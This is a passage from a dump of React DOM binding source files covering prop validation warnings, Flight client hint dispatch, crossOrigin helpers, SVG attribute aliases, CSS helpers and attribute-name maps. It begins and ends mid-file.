'externalResourcesRequired':\n          case 'focusable':\n          case 'preserveAlpha':\n          case 'allowFullScreen':\n          case 'async':\n          case 'autoPlay':\n          case 'controls':\n          case 'default':\n          case 'defer':\n          case 'disabled':\n          case 'disablePictureInPicture':\n          case 'disableRemotePlayback':\n          case 'formNoValidate':\n          case 'hidden':\n          case 'loop':\n          case 'noModule':\n          case 'noValidate':\n          case 'open':\n          case 'playsInline':\n          case 'readOnly':\n          case 'required':\n          case 'reversed':\n          case 'scoped':\n          case 'seamless':\n          case 'itemScope':\n          case 'capture':\n          case 'download':\n          case 'inert': {\n            // Boolean properties can accept boolean values\n            return true;\n          }\n          // fallthrough\n          default: {\n            const prefix = name.toLowerCase().slice(0, 5);\n            if (prefix === 'data-' || prefix === 'aria-') {\n              return true;\n            }\n            if (value) {\n              console.error(\n                'Received `%s` for a non-boolean attribute `%s`.\\n\\n' +\n                  'If you want to write it to the DOM, pass a string instead: ' +\n                  '%s=\"%s\" or %s={value.toString()}.',\n                value,\n                name,\n                name,\n                value,\n                name,\n              );\n            } else {\n              console.error(\n                'Received `%s` for a non-boolean attribute `%s`.\\n\\n' +\n                  'If you want to write it to the DOM, pass a string instead: ' +\n                  '%s=\"%s\" or %s={value.toString()}.\\n\\n' +\n                  'If you used to conditionally omit it with %s={condition && value}, ' +\n                  'pass %s={condition ? value : undefined} instead.',\n                value,\n                name,\n                name,\n                value,\n                name,\n                name,\n                name,\n              );\n            }\n            warnedProperties[name] = true;\n            return true;\n          }\n        }\n      }\n      case 'function':\n      case 'symbol':\n        // Warn when a known attribute is a bad type\n        warnedProperties[name] = true;\n        return false;\n      case 'string': {\n        // Warn when passing the strings 'false' or 'true' into a boolean prop\n        if (value === 'false' || value === 'true') {\n          switch (name) {\n            case 'checked':\n            case 'selected':\n            case 'multiple':\n            case 'muted':\n            case 'allowFullScreen':\n            case 'async':\n            case 'autoPlay':\n            case 'controls':\n            case 'default':\n            case 'defer':\n            case 'disabled':\n            case 'disablePictureInPicture':\n            case 'disableRemotePlayback':\n            case 'formNoValidate':\n            case 'hidden':\n            case 'loop':\n            case 'noModule':\n            case 'noValidate':\n            case 'open':\n            case 'playsInline':\n            case 'readOnly':\n            case 'required':\n            case 'reversed':\n            case 'scoped':\n            case 'seamless':\n            case 'itemScope':\n            case 'inert': {\n              break;\n            }\n            default: {\n              return true;\n            }\n          }\n          console.error(\n            'Received the string `%s` for the boolean attribute `%s`. ' +\n              '%s ' +\n              'Did you mean %s={%s}?',\n            value,\n            name,\n            value === 'false'\n              ? 'The browser will interpret it as a truthy value.'\n              : 'Although this works, it will not work as expected if you pass the string \"false\".',\n            name,\n            value,\n          );\n          warnedProperties[name] = true;\n          return true;\n        }\n      }\n    }\n    return true;\n  }\n}\n\nfunction warnUnknownProperties(type, props, eventRegistry) {\n  if (__DEV__) {\n    const unknownProps = [];\n    for (const key in props) {\n      const isValid = validateProperty(type, key, props[key], eventRegistry);\n      if (!isValid) {\n        unknownProps.push(key);\n      }\n    }\n\n    const unknownPropString = unknownProps\n      .map(prop => '`' + prop + '`')\n      .join(', ');\n    if (unknownProps.length === 1) {\n      console.error(\n        'Invalid value for prop %s on <%s> tag. Either remove it from the element, ' +\n          'or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior ',\n        unknownPropString,\n        type,\n      );\n    } else if (unknownProps.length > 1) {\n      console.error(\n        'Invalid values for props %s on <%s> tag. Either remove them from the element, ' +\n          'or pass a string or number value to keep them in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior ',\n        unknownPropString,\n        type,\n      );\n    }\n  }\n}\n\nexport function validateProperties(type, props, eventRegistry) {\n  if (isCustomElement(type, props) || typeof props.is === 'string') {\n    return;\n  }\n  warnUnknownProperties(type, props, eventRegistry);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This client file is in the shared folder because it applies to both SSR and browser contexts.\n// It is the configuration of the FlightClient behavior which can run in either environment.\n\nimport type {HintCode, HintModel} from '../server/ReactFlightServerConfigDOM';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nimport {getCrossOriginString} from './crossOriginStrings';\n\nexport function dispatchHint<Code: HintCode>(\n  code: Code,\n  model: HintModel<Code>,\n): void {\n  const dispatcher = ReactDOMSharedInternals.d; /* ReactDOMCurrentDispatcher */\n  switch (code) {\n    case 'D': {\n      const refined = refineModel(code, model);\n      const href = refined;\n      dispatcher.D(/* prefetchDNS */ href);\n      return;\n    }\n    case 'C': {\n      const refined = refineModel(code, model);\n      if (typeof refined === 'string') {\n        const href = refined;\n        dispatcher.C(/* preconnect */ href);\n      } else {\n        const href = refined[0];\n        const crossOrigin = refined[1];\n        dispatcher.C(/* preconnect */ href, crossOrigin);\n      }\n      return;\n    }\n    case 'L': {\n      const refined = refineModel(code, model);\n      const href = refined[0];\n      const as = refined[1];\n      if (refined.length === 3) {\n        const options = refined[2];\n        dispatcher.L(/* preload */ href, as, options);\n      } else {\n        dispatcher.L(/* preload */ href, as);\n      }\n      return;\n    }\n    case 'm': {\n      const refined = refineModel(code, model);\n      if (typeof refined === 'string') {\n        const href = refined;\n        dispatcher.m(/* preloadModule */ href);\n      } else {\n        const href = refined[0];\n        const options = refined[1];\n        dispatcher.m(/* preloadModule */ href, options);\n      }\n      return;\n    }\n    case 'X': {\n      const refined = refineModel(code, model);\n      if (typeof refined === 'string') {\n        const href = refined;\n        dispatcher.X(/* preinitScript */ href);\n      } else {\n        const href = refined[0];\n        const options = refined[1];\n        dispatcher.X(/* preinitScript */ href, options);\n      }\n      return;\n    }\n    case 'S': {\n      const refined = refineModel(code, model);\n      if (typeof refined === 'string') {\n        const href = refined;\n        dispatcher.S(/* preinitStyle */ href);\n      } else {\n        const href = refined[0];\n        const precedence = refined[1] === 0 ? undefined : refined[1];\n        const options = refined.length === 3 ? refined[2] : undefined;\n        dispatcher.S(/* preinitStyle */ href, precedence, options);\n      }\n      return;\n    }\n    case 'M': {\n      const refined = refineModel(code, model);\n      if (typeof refined === 'string') {\n        const href = refined;\n        dispatcher.M(/* preinitModuleScript */ href);\n      } else {\n        const href = refined[0];\n        const options = refined[1];\n        dispatcher.M(/* preinitModuleScript */ href, options);\n      }\n      return;\n    }\n  }\n}\n\n// Flow is having trouble refining the HintModels so we help it a bit.\n// This should be compiled out in the production build.\nfunction refineModel<T>(code: T, model: HintModel<any>): HintModel<T> {\n  return model;\n}\n\nexport function preinitModuleForSSR(\n  href: string,\n  nonce: ?string,\n  crossOrigin: ?string,\n) {\n  ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n    .M(/* preinitModuleScript */ href, {\n      crossOrigin: getCrossOriginString(crossOrigin),\n      nonce,\n    });\n}\n\nexport function preinitScriptForSSR(\n  href: string,\n  nonce: ?string,\n  crossOrigin: ?string,\n) {\n  ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n    .X(/* preinitScript */ href, {\n      crossOrigin: getCrossOriginString(crossOrigin),\n      nonce,\n    });\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/crossOriginStrings.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport opaque type CrossOriginString: string = string;\n\nexport function getCrossOriginString(input: ?string): ?CrossOriginString {\n  if (typeof input === 'string') {\n    return input === 'use-credentials' ? input : '';\n  }\n  return undefined;\n}\n\nexport function getCrossOriginStringAs(\n  as: ?string,\n  input: ?string,\n): ?CrossOriginString {\n  if (as === 'font') {\n    return '';\n  }\n  if (typeof input === 'string') {\n    return input === 'use-credentials' ? input : '';\n  }\n  return undefined;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/getAttributeAlias.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst aliases = new Map([\n  ['acceptCharset', 'accept-charset'],\n  ['htmlFor', 'for'],\n  ['httpEquiv', 'http-equiv'],\n  // HTML and SVG attributes, but the SVG attribute is case sensitive.],\n  ['crossOrigin', 'crossorigin'],\n  // This is a list of all SVG attributes that need special casing.\n  // Regular attributes that just accept strings.],\n  ['accentHeight', 'accent-height'],\n  ['alignmentBaseline', 'alignment-baseline'],\n  ['arabicForm', 'arabic-form'],\n  ['baselineShift', 'baseline-shift'],\n  ['capHeight', 'cap-height'],\n  ['clipPath', 'clip-path'],\n  ['clipRule', 'clip-rule'],\n  ['colorInterpolation', 'color-interpolation'],\n  ['colorInterpolationFilters', 'color-interpolation-filters'],\n  ['colorProfile', 'color-profile'],\n  ['colorRendering', 'color-rendering'],\n  ['dominantBaseline', 'dominant-baseline'],\n  ['enableBackground', 'enable-background'],\n  ['fillOpacity', 'fill-opacity'],\n  ['fillRule', 'fill-rule'],\n  ['floodColor', 'flood-color'],\n  ['floodOpacity', 'flood-opacity'],\n  ['fontFamily', 'font-family'],\n  ['fontSize', 'font-size'],\n  ['fontSizeAdjust', 'font-size-adjust'],\n  ['fontStretch', 'font-stretch'],\n  ['fontStyle', 'font-style'],\n  ['fontVariant', 'font-variant'],\n  ['fontWeight', 'font-weight'],\n  ['glyphName', 'glyph-name'],\n  ['glyphOrientationHorizontal', 'glyph-orientation-horizontal'],\n  ['glyphOrientationVertical', 'glyph-orientation-vertical'],\n  ['horizAdvX', 'horiz-adv-x'],\n  ['horizOriginX', 'horiz-origin-x'],\n  ['imageRendering', 'image-rendering'],\n  ['letterSpacing', 'letter-spacing'],\n  ['lightingColor', 'lighting-color'],\n  ['markerEnd', 'marker-end'],\n  ['markerMid', 'marker-mid'],\n  ['markerStart', 'marker-start'],\n  ['maskType', 'mask-type'],\n  ['overlinePosition', 'overline-position'],\n  ['overlineThickness', 'overline-thickness'],\n  ['paintOrder', 'paint-order'],\n  ['panose-1', 'panose-1'],\n  ['pointerEvents', 'pointer-events'],\n  ['renderingIntent', 'rendering-intent'],\n  ['shapeRendering', 'shape-rendering'],\n  ['stopColor', 'stop-color'],\n  ['stopOpacity', 'stop-opacity'],\n  ['strikethroughPosition', 'strikethrough-position'],\n  ['strikethroughThickness', 'strikethrough-thickness'],\n  ['strokeDasharray', 'stroke-dasharray'],\n  ['strokeDashoffset', 'stroke-dashoffset'],\n  ['strokeLinecap', 'stroke-linecap'],\n  ['strokeLinejoin', 'stroke-linejoin'],\n  ['strokeMiterlimit', 'stroke-miterlimit'],\n  ['strokeOpacity', 'stroke-opacity'],\n  ['strokeWidth', 'stroke-width'],\n  ['textAnchor', 'text-anchor'],\n  ['textDecoration', 'text-decoration'],\n  ['textRendering', 'text-rendering'],\n  ['transformOrigin', 'transform-origin'],\n  ['underlinePosition', 'underline-position'],\n  ['underlineThickness', 'underline-thickness'],\n  ['unicodeBidi', 'unicode-bidi'],\n  ['unicodeRange', 'unicode-range'],\n  ['unitsPerEm', 'units-per-em'],\n  ['vAlphabetic', 'v-alphabetic'],\n  ['vHanging', 'v-hanging'],\n  ['vIdeographic', 'v-ideographic'],\n  ['vMathematical', 'v-mathematical'],\n  ['vectorEffect', 'vector-effect'],\n  ['vertAdvY', 'vert-adv-y'],\n  ['vertOriginX', 'vert-origin-x'],\n  ['vertOriginY', 'vert-origin-y'],\n  ['wordSpacing', 'word-spacing'],\n  ['writingMode', 'writing-mode'],\n  ['xmlnsXlink', 'xmlns:xlink'],\n  ['xHeight', 'x-height'],\n]);\n\nexport default function (name: string): string {\n  return aliases.get(name) || name;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/hyphenateStyleName.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst uppercasePattern = /([A-Z])/g;\nconst msPattern = /^ms-/;\n\n/**\n * Hyphenates a camelcased CSS property name, for example:\n *\n *   > hyphenateStyleName('backgroundColor')\n *   < \"background-color\"\n *   > hyphenateStyleName('MozTransition')\n *   < \"-moz-transition\"\n *   > hyphenateStyleName('msTransition')\n *   < \"-ms-transition\"\n *\n * As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix\n * is converted to `-ms-`.\n */\nexport default function hyphenateStyleName(name: string): string {\n  return name\n    .replace(uppercasePattern, '-$1')\n    .toLowerCase()\n    .replace(msPattern, '-ms-');\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/isAttributeNameSafe.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nconst ATTRIBUTE_NAME_START_CHAR =\n  ':A-Z_a-z\\\\u00C0-\\\\u00D6\\\\u00D8-\\\\u00F6\\\\u00F8-\\\\u02FF\\\\u0370-\\\\u037D\\\\u037F-\\\\u1FFF\\\\u200C-\\\\u200D\\\\u2070-\\\\u218F\\\\u2C00-\\\\u2FEF\\\\u3001-\\\\uD7FF\\\\uF900-\\\\uFDCF\\\\uFDF0-\\\\uFFFD';\nexport const ATTRIBUTE_NAME_CHAR: string =\n  ATTRIBUTE_NAME_START_CHAR + '\\\\-.0-9\\\\u00B7\\\\u0300-\\\\u036F\\\\u203F-\\\\u2040';\n\nconst VALID_ATTRIBUTE_NAME_REGEX: RegExp = new RegExp(\n  '^[' + ATTRIBUTE_NAME_START_CHAR + '][' + ATTRIBUTE_NAME_CHAR + ']*$',\n);\n\nconst illegalAttributeNameCache: {[string]: boolean} = {};\nconst validatedAttributeNameCache: {[string]: boolean} = {};\n\nexport default function isAttributeNameSafe(attributeName: string): boolean {\n  if (hasOwnProperty.call(validatedAttributeNameCache, attributeName)) {\n    return true;\n  }\n  if (hasOwnProperty.call(illegalAttributeNameCache, attributeName)) {\n    return false;\n  }\n  if (VALID_ATTRIBUTE_NAME_REGEX.test(attributeName)) {\n    validatedAttributeNameCache[attributeName] = true;\n    return true;\n  }\n  illegalAttributeNameCache[attributeName] = true;\n  if (__DEV__) {\n    console.error('Invalid attribute name: `%s`', attributeName);\n  }\n  return false;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/isCustomElement.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nfunction isCustomElement(tagName: string, props: Object): boolean {\n  if (tagName.indexOf('-') === -1) {\n    return false;\n  }\n  switch (tagName) {\n    // These are reserved SVG and MathML elements.\n    // We don't mind this list too much because we expect it to never grow.\n    // The alternative is to track the namespace in a few places which is convoluted.\n    // https://html.spec.whatwg.org/multipage/custom-elements.html#custom-elements-core-concepts\n    case 'annotation-xml':\n    case 'color-profile':\n    case 'font-face':\n    case 'font-face-src':\n    case 'font-face-uri':\n    case 'font-face-format':\n    case 'font-face-name':\n    case 'missing-glyph':\n      return false;\n    default:\n      return true;\n  }\n}\n\nexport default isCustomElement;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/isUnitlessNumber.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * CSS properties which accept numbers but are not in units of \"px\".\n */\nconst unitlessNumbers = new Set([\n  'animationIterationCount',\n  'aspectRatio',\n  'borderImageOutset',\n  'borderImageSlice',\n  'borderImageWidth',\n  'boxFlex',\n  'boxFlexGroup',\n  'boxOrdinalGroup',\n  'columnCount',\n  'columns',\n  'flex',\n  'flexGrow',\n  'flexPositive',\n  'flexShrink',\n  'flexNegative',\n  'flexOrder',\n  'gridArea',\n  'gridRow',\n  'gridRowEnd',\n  'gridRowSpan',\n  'gridRowStart',\n  'gridColumn',\n  'gridColumnEnd',\n  'gridColumnSpan',\n  'gridColumnStart',\n  'fontWeight',\n  'lineClamp',\n  'lineHeight',\n  'opacity',\n  'order',\n  'orphans',\n  'scale',\n  'tabSize',\n  'widows',\n  'zIndex',\n  'zoom',\n  'fillOpacity', // SVG-related properties\n  'floodOpacity',\n  'stopOpacity',\n  'strokeDasharray',\n  'strokeDashoffset',\n  'strokeMiterlimit',\n  'strokeOpacity',\n  'strokeWidth',\n  'MozAnimationIterationCount', // Known Prefixed Properties\n  'MozBoxFlex', // TODO: Remove these since they shouldn't be used in modern code\n  'MozBoxFlexGroup',\n  'MozLineClamp',\n  'msAnimationIterationCount',\n  'msFlex',\n  'msZoom',\n  'msFlexGrow',\n  'msFlexNegative',\n  'msFlexOrder',\n  'msFlexPositive',\n  'msFlexShrink',\n  'msGridColumn',\n  'msGridColumnSpan',\n  'msGridRow',\n  'msGridRowSpan',\n  'WebkitAnimationIterationCount',\n  'WebkitBoxFlex',\n  'WebKitBoxFlexGroup',\n  'WebkitBoxOrdinalGroup',\n  'WebkitColumnCount',\n  'WebkitColumns',\n  'WebkitFlex',\n  'WebkitFlexGrow',\n  'WebkitFlexPositive',\n  'WebkitFlexShrink',\n  'WebkitLineClamp',\n]);\nexport default function (name: string): boolean {\n  return unitlessNumbers.has(name);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/possibleStandardNames.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// When adding attributes to the HTML or SVG allowed attribute list, be sure to\n// also add them to this module to ensure casing and incorrect name\n// warnings.\nconst possibleStandardNames = {\n  // HTML\n  accept: 'accept',\n  acceptcharset: 'acceptCharset',\n  'accept-charset': 'acceptCharset',\n  accesskey: 'accessKey',\n  action: 'action',\n  allowfullscreen: 'allowFullScreen',\n  alt: 'alt',\n  as: 'as',\n  async: 'async',\n  autocapitalize: 'autoCapitalize',\n  autocomplete: 'autoComplete',\n  autocorrect: 'autoCorrect',\n  autofocus: 'autoFocus',\n  autoplay: 'autoPlay',\n  autosave: 'autoSave',\n  capture: 'capture',\n  cellpadding: 'cellPadding',\n  cellspacing: 'cellSpacing',\n  challenge: 'challenge',\n  charset: 'charSet',\n  checked: 'checked',\n  children: 'children',\n  cite: 'cite',\n  class: 'className',\n  classid: 'classID',\n  classname: 'className',\n  cols: 'cols',\n  colspan: 'colSpan',\n  content: 'content',\n  contenteditable: 'contentEditable',\n  contextmenu: 'contextMenu',\n  controls: 'controls',\n  controlslist: 'controlsList',\n  coords: 'coords',\n  crossorigin: 'crossOrigin',\n  dangerouslysetinnerhtml: 'dangerouslySetInnerHTML',\n  data: 'data',\n  datetime: 'dateTime',\n  default: 'default',\n  defaultchecked: 'defaultChecked',\n  defaultvalue: 'defaultValue',\n  defer: 'defer',\n  dir: 'dir',\n  disabled: 'disabled',\n  disablepictureinpicture: 'disablePictureInPicture',\n  disableremoteplayback: 'disableRemotePlayback',\n  download: 'download',\n  draggable: 'draggable',\n  enctype: 'encType',\n  enterkeyhint: 'enterKeyHint',\n  fetchpriority: 'fetchPriority',\n  for: 'htmlFor',\n  form: 'form',\n  formmethod: 'formMethod',\n  formaction: 'formAction',\n  formenctype: 'formEncType',\n  formnovalidate: 'formNoValidate',\n  formtarget: 'formTarget',\n  frameborder: 'frameBorder',\n  headers: 'headers',\n  height: 'height',\n  hidden: 'hidden',\n  high: 'high',\n  href: 'href',\n  hreflang: 'hrefLang',\n  htmlfor: 'htmlFor',\n  httpequiv: 'httpEquiv',\n  'http-equiv': 'httpEquiv',\n  icon: 'icon',\n  id: 'id',\n  imagesizes: 'imageSizes',\n  imagesrcset: 'imageSrcSet',\n  inert: 'inert',\n  innerhtml: 'innerHTML',\n  inputmode: 'inputMode',\n  integrity: 'integrity',\n  is: 'is',\n  itemid: 'itemID',\n  itemprop: 'itemProp',\n  itemref: 'itemRef',\n  itemscope: 'itemScope',\n  itemtype: 'itemType',\n  keyparams: 'keyParams',\n  keytype: 'keyType',\n  kind: 'kind',\n  label: 'label',\n  lang: 'lang',\n  list: 'list',\n  loop: 'loop',\n  low: 'low',\n  manifest: 'manifest',\n  marginwidth: 'marginWidth',\n  marginheight: 'marginHeight',\n  max: 'max',\n  maxlength: 'maxLength',\n  media: 'media',\n  mediagroup: 'mediaGroup',\n  method: 'method',\n  min: 'min',\n  minlength: 'minLength',\n  multiple: 'multiple',\n  muted: 'muted',\n  name: 'name',\n  nomodule: 'noModule',\n  nonce: 'nonce',\n  novalidate: 'noValidate',\n  open: 'open',\n  optimum: 'optimum',\n  pattern: 'pattern',\n  placeholder: 'placeholder',\n  playsinline: 'playsInline',\n  poster: 'poster',\n  preload: 'preload',\n  profile: 'profile',\n  radiogroup: 'radioGroup',\n  readonly: 'readOnly',\n  referrerpolicy: 'referrerPolicy',\n  rel: 'rel',\n  required: 'required',\n  reversed: 'reversed',\n  role: 'role',\n  rows: 'rows',\n  rowspan: 'rowSpan',\n  sandbox: 'sandbox',\n  scope: 'scope',\n  scoped: 'scoped',\n  scrolling: 'scrolling',\n  seamless: 'seamless',\n  selected: 'selected',\n  shape: 'shape',\n  size: 'size',\n  sizes: 'sizes',\n  span: 'span',\n  spellcheck: 'spellCheck',\n  src: 'src',\n  srcdoc: 'srcDoc',\n  srclang: 'srcLang',\n  srcset: 'srcSet',\n  start: 'start',\n  step: 'step',\n  style: 'style',\n  summary: 'summary',\n  tabindex: 'tabIndex',\n  target: 'target',\n  title: 'title',\n  type: 'type',\n  usemap: 'useMap',\n  value: 'value',\n  width: 'width',\n  wmode: 'wmode',\n  wrap: 'wrap',\n\n  // SVG\n  about: 'about',\n  accentheight: 'accentHeight',\n  'accent-height': 'accentHeight',\n  accumulate: 'accumulate',\n  additive: 'additive',\n  alignmentbaseline: 'alignmentBaseline',\n  'alignment-baseline': 'alignmentBaseline',\n  allowreorder: 'allowReorder',\n  alphabetic: 'alphabetic',\n  amplitude: 'amplitude',\n  arabicform: 'arabicForm',\n  'arabic-form': 'arabicForm',\n  ascent: 'ascent',\n  attributename: 'attributeName',\n  attributetype: 'attributeType',\n  autoreverse: 'autoReverse',\n  azimuth: 'azimuth',\n  basefrequency: 'baseFrequency',\n  baselineshift: 'baselineShift',\n  'baseline-shift': 'baselineShift',\n  baseprofile: 'baseProfile',\n  bbox: 'bbox',\n  begin: 'begin',\n  bias: 'bias',\n  by: 'by',\n  calcmode: 'calcMode',\n  capheight: 'capHeight',\n  'cap-height': 'capHeight',\n  clip: 'clip',\n  clippath: 'clipPath',\n  'clip-path': 'clipPath',\n  clippathunits: 'clipPathUnits',\n  cliprule: 'clipRule',\n  'clip-rule': 'clipRule',\n  color: 'color',\n  colorinterpolation: 'colorInterpolation',\n  'color-interpolation': 'colorInterpolation',\n  colorinterpolationfilters: 'colorInterpolationFilters',\n  'color-interpolation-filters': 'colorInterpolationFilters',\n  colorprofile: 'colorProfile',\n  'color-profile': 'colorProfile',\n  colorrendering: 'colorRendering',\n  'color-rendering': 'colorRendering',\n  contentscripttype: 'contentScriptType',\n  contentstyletype: 'contentStyleType',\n  cursor: 'cursor',\n  cx: 'cx',\n  cy: 'cy',\n  d: 'd',\n  datatype: 'datatype',\n  decelerate: 'decelerate',\n  descent: 'descent',\n  diffuseconstant: 'diffuseConstant',\n  direction: 'direction',\n  display: 'display',\n  divisor: 'divisor',\n  dominantbaseline: 'dominantBaseline',\n  'dominant-baseline': 'dominantBaseline',\n  dur: 'dur',\n  dx: 'dx',\n  dy: 'dy',\n  edgemode: 'edgeMode',\n  elevation: 'elevation',\n  enablebackground: 'enableBackground',\n  'enable-background': 'enableBackground',\n  end: 'end',\n  exponent: 'exponent',\n  externalresourcesrequired: 'externalResourcesRequired',\n  fill: 'fill',\n  fillopacity: 'fillOpacity',\n  'fill-opacity': 'fillOpacity',\n  fillrule: 'fillRule',\n  'fill-rule': 'fillRule',\n  filter: 'filter',\n  filterres: 'filterRes',\n  filterunits: 'filterUnits',\n  floodopacity: 'floodOpacity',\n  'flood-opacity': 'floodOpacity',\n  floodcolor: 'floodColor',\n  'flood-color': 'floodColor',\n  focusable: 'focusable',\n  fontfamily: 'fontFamily',\n  'font-family': 'fontFamily',\n  fontsize: 'fontSize',\n  'font-size': 'fontSize',\n  fontsizeadjust: 'fontSizeAdjust',\n  'font-size-adjust': 'fontSizeAdjust',\n  fontstretch: 'fontStretch',\n  'font-stretch': 'fontStretch',\n  fontstyle: 'fontStyle',\n  'font-style': 'fontStyle',\n  fontvariant: 'fontVariant',\n  'font-variant': 'fontVariant',\n  fontweight: 'fontWeight',\n  'font-weight': 'fontWeight',\n  format: 'format',\n  from: 'from',\n  fx: 'fx',\n  fy: 'fy',\n  g1: 'g1',\n  g2: 'g2',\n  glyphname: 'glyphName',\n  'glyph-name': 'glyphName',\n  glyphorientationhorizontal: 'glyphOrientationHorizontal',\n  'glyph-orientation-horizontal': 'glyphOrientationHorizontal',\n  glyphorientationvertical: 'glyphOrientationVertical',\n  'glyph-orientation-vertical': 'glyphOrientationVertical',\n  glyphref: 'glyphRef',\n  gradienttransform: 'gradientTransform',\n  gradientunits: 'gradientUnits',\n  hanging: 'hanging',\n  horizadvx: 'horizAdvX',\n  'horiz-adv-x': 'horizAdvX',\n  horizoriginx: 'horizOriginX',\n  'horiz-origin-x': 'horizOriginX',\n  ideographic: 'ideographic',\n  imagerendering: 'imageRendering',\n  'image-rendering': 'imageRendering',\n  in2: 'in2',\n  in: 'in',\n  inlist: 'inlist',\n  intercept: 'intercept',\n  k1: 'k1',\n  k2: 'k2',\n  k3: 'k3',\n  k4: 'k4',\n  k: 'k',\n  kernelmatrix: 'kernelMatrix',\n  kernelunitlength: 'kernelUnitLength',\n  kerning: 'kerning',\n  keypoints: 'keyPoints',\n  keysplines: 'keySplines',\n  keytimes: 'keyTimes',\n  lengthadjust: 'lengthAdjust',\n  letterspacing: 'letterSpacing',\n  'letter-spacing': 'letterSpacing',\n  lightingcolor: 'lightingColor',\n  'lighting-color': 'lightingColor',\n  limitingconeangle: 'limitingConeAngle',\n  local: 'local',\n  markerend: 'markerEnd',\n  'marker-end': 'markerEnd',\n  markerheight: 'markerHeight',\n  markermid: 'markerMid',\n  'marker-mid': 'markerMid',\n  markerstart: 'markerStart',\n  'marker-start': 'markerStart',\n  markerunits: 'markerUnits',\n  markerwidth: 'markerWidth',\n  mask: 'mask',\n  maskcontentunits: 'maskContentUnits',\n  masktype: 'maskType',\n  maskunits: 'maskUnits',\n  mathematical: 'mathematical',\n  mode: 'mode',\n  numoctaves: 'numOctaves',\n  offset: 'offset',\n  opacity: 'opacity',\n  operator: 'operator',\n  order: 'order',\n  orient: 'orient',\n  orientation: 'orientation',\n  origin: 'origin',\n  overflow: 'overflow',\n  overlineposition: 'overlinePosition',\n  'overline-position': 'overlinePosition',\n  overlinethickness: 'overlineThickness',\n  'overline-thickness': 'overlineThickness',\n  paintorder: 'paintOrder',\n  'paint-order': 'paintOrder',\n  panose1: 'panose1',\n  'panose-1': 'panose1',\n  pathlength: 'pathLength',\n  patterncontentunits: 'patternContentUnits',\n  patterntransform: 'patternTransform',\n  patternunits: 'patternUnits',\n  pointerevents: 'pointerEvents',\n  'pointer-events': 'pointerEvents',\n  points: 'points',\n  pointsatx: 'pointsAtX',\n  pointsaty: 'pointsAtY',\n  pointsatz: 'pointsAtZ',\n  popover: 'popover',\n  popovertarget: 'popoverTarget',\n  popovertargetaction: 'popoverTargetAction',\n  prefix: 'prefix',\n  preservealpha: 'preserveAlpha',\n  preserveaspectratio: 'preserveAspectRatio',\n  primitiveunits: 'primitiveUnits',\n  property: 'property',\n  r: 'r',\n  radius: 'radius',\n  refx: 'refX',\n  refy: 'refY',\n  renderingintent: 'renderingIntent',\n  'rendering-intent': 'renderingIntent',\n  repeatcount: 'repeatCount',\n  repeatdur: 'repeatDur',\n  requiredextensions: 'requiredExtensions',\n  requiredfeatures: 'requiredFeatures',\n  resource: 'resource',\n  restart: 'restart',\n  result: 'result',\n  results: 'results',\n  rotate: 'rotate',\n  rx: 'rx',\n  ry: 'ry',\n  scale: 'scale',\n  security: 'security',\n  seed: 'seed',\n  shaperendering: 'shapeRendering',\n  'shape-rendering': 'shapeRendering',\n  slope: 'slope',\n  spacing: 'spacing',\n  specularconstant: 'specularConstant',\n  specularexponent: 'specularExponent',\n  speed: 'speed',\n  spreadmethod: 'spreadMethod',\n  startoffset: 'startOffset',\n  stddeviation: 'stdDeviation',\n  stemh: 'stemh',\n  stemv: 'stemv',\n  stitchtiles: 'stitchTiles',\n  stopcolor: 'stopColor',\n  'stop-color': 'stopColor',\n  stopopacity: 'stopOpacity',\n  'stop-opacity': 'stopOpacity',\n  strikethroughposition: 'strikethroughPosition',\n  'strikethrough-position': 'strikethroughPosition',\n  strikethroughthickness: 'strikethroughThickness',\n  'strikethrough-thickness': 'strikethroughThickness',\n  string: 'string',\n  stroke: 'stroke',\n  strokedasharray: 'strokeDasharray',\n  'stroke-dasharray': 'strokeDasharray',\n  strokedashoffset: 'strokeDashoffset',\n  'stroke-dashoffset': 'strokeDashoffset',\n  strokelinecap: 'strokeLinecap',\n  'stroke-linecap': 'strokeLinecap',\n  strokelinejoin: 'strokeLinejoin',\n  'stroke-linejoin': 'strokeLinejoin',\n  strokemiterlimit: 'strokeMiterlimit',\n  'stroke-miterlimit': 'strokeMiterlimit',\n  strokewidth: 